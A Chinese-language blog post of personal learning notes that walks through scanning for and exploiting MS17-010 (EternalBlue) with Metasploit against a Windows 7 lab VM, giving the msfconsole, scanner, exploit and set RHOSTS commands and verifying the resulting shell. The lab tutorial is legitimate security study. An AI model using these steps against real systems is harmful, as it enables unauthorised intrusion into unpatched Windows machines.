metaspolite 永恒之蓝 的利用

环境(两台虚拟机):
攻击机(kali):192.168.31.255
目标机(win 7):192.168.31.230

试了好几遍,总是最后一步有问题,显示 no session was created
然后询问了学长,指出本机一定要ping通目标机器,这里就要设置目标机器的一些东西:
打开目标机器的 文件和打印机共享
在这里插入图片描述一般要先开启 数据库
service postgresql status
service postgresql restart
如果此时报错的话,就初始化一下数据库
msfdb init

好的好的,终于一切准备工作做好了,然后开始,打开msf
直接输入msfconsole
在这里插入图片描述 查找:search ms17_010
在这里插入图片描述利用 use auxiliary/scanner/smb/smb_ms17_010
show options
在 required 下面是yes的都要有值,一般是选默认值,但是RHOSTS肯定要写目标机器的ip
在这里插入图片描述设置目标主机ip set RHOSTS 192.168.31.230
运行run
run是小写!小写! 小写!
在这里插入图片描述查看存在此漏洞,于是开始利用攻击漏洞
use exploit/windows/smb/ms17_010_eternalblue
show options

在这里插入图片描述set RHOSTS 192.168.31.230
run
可以看下图先是是失败了,然后后来再次连接就成功了。
在这里插入图片描述图没截完,补上下半部分
在这里插入图片描述在验证一下是否成功,就是输入ipconfig
在这里插入图片描述的确显示的是目标机器的IP,看来成功无疑了

然后成功之后,就可以做自己想做的一些事情了

附上linux命令大全
https://www.runoob.com/linux/linux-command-manual.html

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
再附上msf常见指令

msf帮助菜单:
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述okkkk,学习笔记就写到这里了,写的有问题的地方,还请各位大佬批评指正。

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值